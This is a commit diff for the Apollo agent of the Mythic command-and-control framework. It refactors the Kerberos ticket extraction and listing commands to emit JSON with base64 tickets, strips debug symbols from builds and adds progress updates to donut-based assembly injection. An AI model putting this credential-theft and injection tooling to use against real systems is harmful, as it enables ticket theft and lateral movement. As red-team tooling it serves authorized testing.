Skip to content

Commit 97dba1d

Browse files
committed
Updated ticket_* commands for structure and browser scripts
1 parent e052123 commit 97dba1d

38 files changed

+594
-329
lines changed

Payload_Type/apollo/CHANGELOG.MD

+10
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,16 @@ All notable changes to this project will be documented in this file.
44
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
55
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
66

7+
## [v2.3.6] -
8+
9+
### Changed
10+
11+
- Added `-p:DebugType=None -p:DebugSymbols=false` to all `dotnet build` commands
12+
- Removed sRDI package as it wasn't used
13+
- Standardized donut usage to all be with the donut binary and not partially with the donut PyPi package
14+
- Updated ticket_[store|cache]_list commands to return structured JSON
15+
- Added browser scripts for ticket_[store|cache]_list commands
16+
-
717
## [v2.3.5] - 2025-03-03
818

919
### Changed

Payload_Type/apollo/Dockerfile

+1-2
Original file line numberDiff line numberDiff line change
@@ -12,9 +12,8 @@ RUN curl -L -o donut_shellcode-2.0.0.tar.gz https://github.com/MEhrn00/donut/rel
1212

1313
WORKDIR /Mythic/
1414
RUN python3 -m venv /venv
15-
RUN /venv/bin/python -m pip install mythic-container==0.5.22
15+
RUN /venv/bin/python -m pip install mythic-container==0.5.22 mslex impacket
1616
RUN /venv/bin/python -m pip install git+https://github.com/MEhrn00/[email protected]
17-
RUN /venv/bin/python -m pip install mslex
1817

1918
COPY [".", "."]
2019

Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/KerberosTickets/ITicketManager.cs

+1-1
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ public interface ITicketManager
1818
public string GetTargetProcessLuid(int pid);
1919

2020
//should return a ticket with the .kirbi initalized with the ticket data
21-
public KerberosTicket ExtractTicketFromCache(string luid, string serviceName);
21+
public (KerberosTicket?, string) ExtractTicketFromCache(string luid, string serviceName);
2222
//should return all tickets in the current LUID or all tickets if running as administrator
2323
public List<KerberosTicket> EnumerateTicketsInCache(bool getSystemTickets = false, string luid = "");
2424
//loads a ticket into memory and should be tracked by the agent session
Original file line numberDiff line numberDiff line change
@@ -1,31 +1,49 @@
11
using System;
2+
using System.Runtime.Serialization;
23

34
namespace ApolloInterop.Features.KerberosTickets;
4-
5+
[DataContract]
56
public record KerberosTicketInfoDTO
67
{
8+
[DataMember(Name = "luid")]
79
public string Luid { get; private set; }
10+
[DataMember(Name = "current_luid")]
11+
public string CurrentLuid {get; set; }
12+
[DataMember(Name = "client_name")]
813
public string ClientName { get; private set; }
14+
[DataMember(Name = "client_realm")]
915
public string ClientDomain { get; private set; }
10-
16+
1117
public string ClientFullName => $"{ClientName}@{ClientDomain}";
18+
[DataMember(Name = "service_name")]
1219
public string ServiceName { get; private set; }
20+
[DataMember(Name = "service_realm")]
1321
public string ServiceDomain { get; private set; }
14-
22+
1523
public string ServiceFullName => $"{ServiceName}@{ServiceDomain}";
24+
[DataMember(Name = "start_time")]
25+
public string StartTimeDisplay { get; private set; }
1626
public DateTime StartTime { get; private set; }
27+
[DataMember(Name = "end_time")]
28+
public string EndTimeDisplay { get; private set; }
1729
public DateTime EndTime { get; private set; }
18-
30+
1931
public string TimeUntilExpiration => (EndTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
32+
[DataMember(Name = "renew_time")]
33+
public string RenewTimeDisplay { get; private set; }
2034
public DateTime RenewTime { get; private set; }
21-
35+
2236
public string TimeUntilRenewal => (RenewTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
37+
[DataMember(Name = "encryption_type")]
38+
public string EncryptionTypeDisplay { get; private set; }
2339
public KerbEncType EncryptionType { get; private set; }
40+
[DataMember(Name = "ticket_flags")]
41+
public string TicketFlagsDisplay { get; private set; }
2442
public KerbTicketFlags TicketFlags { get; private set; }
25-
26-
43+
44+
2745
private KerberosTicketInfoDTO() { }
28-
46+
2947
public static KerberosTicketInfoDTO CreateFromKerberosTicket(KerberosTicket ticket)
3048
{
3149
return new KerberosTicketInfoDTO
@@ -36,10 +54,15 @@ public static KerberosTicketInfoDTO CreateFromKerberosTicket(KerberosTicket tick
3654
ServiceName = ticket.ServerName,
3755
ServiceDomain = ticket.ServerRealm,
3856
StartTime = ticket.StartTime,
57+
StartTimeDisplay = ticket.StartTime.ToString(),
3958
EndTime = ticket.EndTime,
59+
EndTimeDisplay = ticket.EndTime.ToString(),
4060
RenewTime = ticket.RenewTime,
61+
RenewTimeDisplay = ticket.RenewTime.ToString(),
4162
EncryptionType = ticket.EncryptionType,
63+
EncryptionTypeDisplay = ticket.EncryptionType.ToString(),
4264
TicketFlags = ticket.TicketFlags,
65+
TicketFlagsDisplay = ticket.TicketFlags.ToString(),
4366
};
4467
}
4568
}
Original file line numberDiff line numberDiff line change
@@ -1,38 +1,55 @@
11
using System;
2+
using System.Runtime.Serialization;
23

34
namespace ApolloInterop.Features.KerberosTickets;
45

56
//for the moment this is the same as the KerberosTicketDataDTO, but it will be used for the store so more / different fileds may be added that are unique to the store
7+
[DataContract]
68
public record KerberosTicketStoreDTO
79
{
8-
public string Luid { get; private set; }
9-
10-
public string ClientFullName { get; private set; }
11-
12-
public string ServiceFullName { get; private set; }
13-
public DateTime StartTime { get; private set; }
14-
public DateTime EndTime { get; private set; }
15-
16-
public string TimeUntilExpiration => (EndTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
17-
public DateTime RenewTime { get; private set; }
18-
19-
public string TimeUntilRenewal => (RenewTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
20-
public KerbEncType EncryptionType { get; private set; }
21-
public KerbTicketFlags TicketFlags { get; private set; }
22-
public string base64Ticket { get; private set; }
23-
24-
25-
public KerberosTicketStoreDTO(KerberosTicket ticket)
26-
{
27-
Luid = ticket.Luid.ToString();
28-
ClientFullName = $"{ticket.ClientName}@{ticket.ClientRealm}";
29-
ServiceFullName = $"{ticket.ServerName}@{ticket.ServerRealm}";
30-
StartTime = ticket.StartTime;
31-
EndTime = ticket.EndTime;
32-
RenewTime = ticket.RenewTime;
33-
EncryptionType = ticket.EncryptionType;
34-
TicketFlags = ticket.TicketFlags;
35-
base64Ticket = Convert.ToBase64String(ticket.Kirbi);
36-
}
10+
[DataMember(Name = "luid")]
11+
public string Luid { get; private set; }
12+
[DataMember(Name = "client_fullname")]
13+
public string ClientFullName { get; private set; }
14+
[DataMember(Name = "service_fullname")]
15+
public string ServiceFullName { get; private set; }
16+
[DataMember(Name = "start_time")]
17+
public string StartTimeDisplay { get; private set; }
18+
public DateTime StartTime;
19+
[DataMember(Name = "end_time")]
20+
public string EndTimeDisplay { get; private set; }
21+
public DateTime EndTime;
22+
public string TimeUntilExpiration => (EndTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
23+
[DataMember(Name = "renew_time")]
24+
public string RenewTimeDisplay { get; private set; }
25+
public DateTime RenewTime;
26+
public string TimeUntilRenewal => (RenewTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
27+
public KerbEncType EncryptionType;
28+
[DataMember(Name = "encryption_type")]
29+
public string EncryptionTypeDisplay { get; private set; }
30+
[DataMember(Name = "ticket_flags")]
31+
public string TicketFlagsDisplay { get; private set; }
32+
public KerbTicketFlags TicketFlags;
33+
[DataMember(Name = "ticket")]
34+
public string base64Ticket { get; private set; }
35+
36+
37+
public KerberosTicketStoreDTO(KerberosTicket ticket)
38+
{
39+
Luid = ticket.Luid.ToString();
40+
ClientFullName = $"{ticket.ClientName}@{ticket.ClientRealm}";
41+
ServiceFullName = $"{ticket.ServerName}@{ticket.ServerRealm}";
42+
StartTime = ticket.StartTime;
43+
StartTimeDisplay = StartTime.ToString();
44+
EndTime = ticket.EndTime;
45+
EndTimeDisplay = EndTime.ToString();
46+
RenewTime = ticket.RenewTime;
47+
RenewTimeDisplay = RenewTime.ToString();
48+
EncryptionType = ticket.EncryptionType;
49+
EncryptionTypeDisplay = ticket.EncryptionType.ToString();
50+
TicketFlags = ticket.TicketFlags;
51+
TicketFlagsDisplay = ticket.TicketFlags.ToString();
52+
base64Ticket = Convert.ToBase64String(ticket.Kirbi);
53+
}
3754

3855
}

Payload_Type/apollo/apollo/agent_code/KerberosTickets/KerberosHelpers.cs

+7-7
Original file line numberDiff line numberDiff line change
@@ -443,14 +443,14 @@ internal static IEnumerable<KerberosTicket> TriageTickets(bool getSystemTickets
443443

444444

445445
//extract ticket
446-
internal static KerberosTicket? ExtractTicket(LUID targetLuid, string targetName)
446+
internal static (KerberosTicket?, string) ExtractTicket(LUID targetLuid, string targetName)
447447
{
448448
try
449449
{
450450
targetName = targetName.Trim();
451451
//needs to be elevated to pass in a logon id so if we aren't we wipe the value here
452452
//Discarding the logonSessions because we do not need them so we pass false to prevent enumerating them
453-
(HANDLE lsaHandle, uint authPackage, IEnumerable<LUID> _) = InitKerberosConnectionAndSessionInfo(false);
453+
(HANDLE lsaHandle, uint authPackage, IEnumerable<LUID> _) = InitKerberosConnectionAndSessionInfo();
454454
//if we are not an admin user then we cannot send a real lUID so we need to send a null one
455455
if(Agent.GetIdentityManager().GetIntegrityLevel() is <= IntegrityLevel.MediumIntegrity)
456456
{
@@ -462,7 +462,7 @@ internal static IEnumerable<KerberosTicket> TriageTickets(bool getSystemTickets
462462
if(ticket is null)
463463
{
464464
DebugHelp.DebugWriteLine($"Failed to find ticket for {targetName}");
465-
return null;
465+
return (null, $"Failed to find ticket for {targetName}");
466466
}
467467

468468
KERB_RETRIEVE_TKT_REQUEST request = new()
@@ -497,7 +497,7 @@ internal static IEnumerable<KerberosTicket> TriageTickets(bool getSystemTickets
497497
if (status != NTSTATUS.STATUS_SUCCESS || returnStatus != NTSTATUS.STATUS_SUCCESS)
498498
{
499499
DebugHelp.DebugWriteLine($"Failed to extract ticket with error: {status} and return status: {returnStatus}");
500-
return null;
500+
return (null, $"Failed to extract ticket with error: {status} and return status: {returnStatus}");
501501
}
502502
//convert the location of the ticket in memory to a struct
503503
var response = returnBuffer.CastTo<KERB_RETRIEVE_TKT_RESPONSE>();
@@ -507,17 +507,17 @@ internal static IEnumerable<KerberosTicket> TriageTickets(bool getSystemTickets
507507
{
508508
DebugHelp.DebugWriteLine("No ticket Data to extract");
509509
WindowsAPI.LsaFreeReturnBufferDelegate(returnBuffer);
510-
return null;
510+
return (null, "No ticket Data to extract");
511511
}
512512
//copy the ticket data to a byte array
513513
ticket.Kirbi = new byte[response.Ticket.EncodedTicketSize];
514514
Marshal.Copy(response.Ticket.EncodedTicket, ticket.Kirbi, 0, (int)response.Ticket.EncodedTicketSize);
515515
WindowsAPI.LsaFreeReturnBufferDelegate(returnBuffer);
516-
return ticket;
516+
return (ticket, "");
517517
}
518518
catch (Exception e)
519519
{
520-
return null;
520+
return (null, e.Message);
521521
}
522522
}
523523

Payload_Type/apollo/apollo/agent_code/KerberosTickets/KerberosTicketManager.cs

+1-1
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@ public KerberosTicketManager(IAgent agent)
3535
public string GetTargetProcessLuid(int pid) => KerberosHelpers.GetTargetProcessLuid(pid).ToString();
3636

3737
//ticket cache functions, these effect the session on the system
38-
public KerberosTicket? ExtractTicketFromCache(string luid, string serviceName) => KerberosHelpers.ExtractTicket(WinNTTypes.LUID.FromString(luid), serviceName);
38+
public (KerberosTicket?, string) ExtractTicketFromCache(string luid, string serviceName) => KerberosHelpers.ExtractTicket(WinNTTypes.LUID.FromString(luid), serviceName);
3939
public List<KerberosTicket> EnumerateTicketsInCache(bool getSystemTickets = false, string luid = "") => KerberosHelpers.TriageTickets(getSystemTickets,luid).ToList();
4040

4141
public bool LoadTicketIntoCache(byte[] ticket, string luid) => KerberosHelpers.LoadTicket(ticket, WinNTTypes.LUID.FromString(luid));

Payload_Type/apollo/apollo/agent_code/Tasks/Features/KerberosTickets/ticket_cache_extract.cs

+9-3
Original file line numberDiff line numberDiff line change
@@ -40,9 +40,15 @@ public override void Start()
4040
string service = parameters.service;
4141
try
4242
{
43-
var ticket = _agent.GetTicketManager().ExtractTicketFromCache(luid, service);
44-
_agent.GetTicketManager().AddTicketToTicketStore(new(ticket));
45-
resp = CreateTaskResponse($"Extracted Ticket for service {service}: \n {KerberosTicketDataDTO.CreateFromKerberosTicket(ticket,luid).ToString().ToIndentedString()}", true);
43+
var (ticket, errorMsg) = _agent.GetTicketManager().ExtractTicketFromCache(luid, service);
44+
if (ticket != null)
45+
{
46+
resp = CreateTaskResponse(_jsonSerializer.Serialize(new KerberosTicketStoreDTO(ticket)), true);
47+
} else
48+
{
49+
resp = CreateTaskResponse(errorMsg, true, "error");
50+
}
51+
4652
}
4753
catch (Exception e)
4854
{

Payload_Type/apollo/apollo/agent_code/Tasks/Features/KerberosTickets/ticket_cache_list.cs

+6-5
Original file line numberDiff line numberDiff line change
@@ -42,14 +42,15 @@ public override void Start()
4242
try
4343
{
4444
var tickets = _agent.GetTicketManager().EnumerateTicketsInCache(getSystemTickets, luid);
45-
StringBuilder ticketStringOutput = new StringBuilder();
45+
string currentLuid = _agent.GetTicketManager().GetCurrentLuid();
46+
List<KerberosTicketInfoDTO> ticketList = new List<KerberosTicketInfoDTO>();
4647
for(int i = 0; i < tickets.Count; i++)
4748
{
48-
ticketStringOutput.AppendLine($"Ticket # {i}:");
49-
ticketStringOutput.Append(KerberosTicketInfoDTO.CreateFromKerberosTicket(tickets[i]).ToString().ToIndentedString());
50-
ticketStringOutput.Append("\n");
49+
KerberosTicketInfoDTO currentTicket = KerberosTicketInfoDTO.CreateFromKerberosTicket(tickets[i]);
50+
currentTicket.CurrentLuid = currentLuid;
51+
ticketList.Add(currentTicket);
5152
}
52-
resp = CreateTaskResponse($"Enumerated Tickets \n {ticketStringOutput}", true);
53+
resp = CreateTaskResponse(_jsonSerializer.Serialize(ticketList), true);
5354
}
5455
catch (Exception e)
5556
{

Payload_Type/apollo/apollo/agent_code/Tasks/Features/KerberosTickets/ticket_store_list.cs

+1-8
Original file line numberDiff line numberDiff line change
@@ -27,14 +27,7 @@ public override void Start()
2727
try
2828
{
2929
var storedTickets = _agent.GetTicketManager().GetTicketsFromTicketStore();
30-
StringBuilder ticketStringOutput = new StringBuilder();
31-
for(int i = 0; i < storedTickets.Count; i++)
32-
{
33-
ticketStringOutput.AppendLine($"Store Ticket # {i}:");
34-
ticketStringOutput.Append(storedTickets[i].ToString().ToIndentedString());
35-
ticketStringOutput.Append("\n");
36-
}
37-
resp = CreateTaskResponse($"Enumerated Tickets \n {ticketStringOutput}", true);
30+
resp = CreateTaskResponse(_jsonSerializer.Serialize(storedTickets), true);
3831

3932
}
4033
catch (Exception ex)

Payload_Type/apollo/apollo/mythic/agent_functions/assembly_inject.py

+9-16
Original file line numberDiff line numberDiff line change
@@ -81,20 +81,6 @@ async def get_files(self, inputMsg: PTRPCDynamicQueryFunctionMessage) -> PTRPCDy
8181
async def parse_arguments(self):
8282
if self.command_line[0] == "{":
8383
self.load_args_from_json_string(self.command_line)
84-
else:
85-
parts = self.command_line.split(" ", maxsplit=2)
86-
if len(parts) < 2:
87-
raise Exception("Invalid number of arguments.\n\tUsage: {}".format(AssemblyInjectCommand.help_cmd))
88-
pid = parts[0]
89-
assembly_name = parts[1]
90-
assembly_args = ""
91-
assembly_args = ""
92-
if len(parts) > 2:
93-
assembly_args = parts[2]
94-
self.args["pid"].value = pid
95-
self.args["assembly_name"].value = assembly_name
96-
self.args["assembly_arguments"].value = assembly_args
97-
9884

9985

10086
class AssemblyInjectCommand(CommandBase):
@@ -112,7 +98,7 @@ async def build_exeasm(self):
11298
agent_build_path = tempfile.TemporaryDirectory()
11399
outputPath = "{}/ExecuteAssembly/bin/Release/ExecuteAssembly.exe".format(agent_build_path.name)
114100
copy_tree(str(self.agent_code_path), agent_build_path.name)
115-
shell_cmd = "dotnet build -c release -p:Platform=x64 {}/ExecuteAssembly/ExecuteAssembly.csproj -o {}/ExecuteAssembly/bin/Release/".format(agent_build_path.name, agent_build_path.name)
101+
shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/ExecuteAssembly/ExecuteAssembly.csproj -o {}/ExecuteAssembly/bin/Release/".format(agent_build_path.name, agent_build_path.name)
116102
proc = await asyncio.create_subprocess_shell(shell_cmd, stdout=asyncio.subprocess.PIPE,
117103
stderr=asyncio.subprocess.PIPE, cwd=agent_build_path.name)
118104
stdout, stderr = await proc.communicate()
@@ -129,8 +115,15 @@ async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreat
129115
global EXEECUTE_ASSEMBLY_PATH
130116
taskData.args.add_arg("pipe_name", str(uuid4()))
131117
if not path.exists(EXEECUTE_ASSEMBLY_PATH):
118+
await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage(
119+
TaskID=taskData.Task.ID,
120+
UpdateStatus=f"building injection stub"
121+
))
132122
await self.build_exeasm()
133-
123+
await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage(
124+
TaskID=taskData.Task.ID,
125+
UpdateStatus=f"generating stub shellcode"
126+
))
134127
donutPic = donut.create(file=EXEECUTE_ASSEMBLY_PATH, params=taskData.args.get_arg("pipe_name"))
135128
file_resp = await SendMythicRPCFileCreate(MythicRPCFileCreateMessage(
136129
TaskID=taskData.Task.ID,

Payload_Type/apollo/apollo/mythic/agent_functions/builder.py

+3-3
Original file line numberDiff line numberDiff line change
@@ -21,7 +21,7 @@ class Apollo(PayloadType):
2121
supported_os = [
2222
SupportedOS.Windows
2323
]
24-
version = "2.3.5"
24+
version = "2.3.6"
2525
wrapper = False
2626
wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"]
2727
note = """
@@ -149,7 +149,7 @@ async def build(self) -> BuildResponse:
149149
templateFile = templateFile.replace("HTTP_ADDITIONAL_HEADERS_HERE", "")
150150
with open(csFile, "wb") as f:
151151
f.write(templateFile.encode())
152-
command = f"dotnet build -c release -p:Platform=\"Any CPU\" -o {agent_build_path.name}/Release/"
152+
command = f"dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=\"Any CPU\" -o {agent_build_path.name}/Release/"
153153
#command = "rm -rf packages/*; nuget restore -NoCache -Force; msbuild -p:Configuration=Release -p:Platform=\"Any CPU\""
154154
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
155155
PayloadUUID=self.uuid,
@@ -258,7 +258,7 @@ async def build(self) -> BuildResponse:
258258
/ "loader.bin"
259259
)
260260
shutil.move(shellcode_path, working_path)
261-
command = f"dotnet build -c release -p:OutputType=WinExe -p:Platform=\"Any CPU\""
261+
command = f"dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:OutputType=WinExe -p:Platform=\"Any CPU\""
262262
proc = await asyncio.create_subprocess_shell(
263263
command,
264264
stdout=asyncio.subprocess.PIPE,

0 commit comments

Comments
 (0)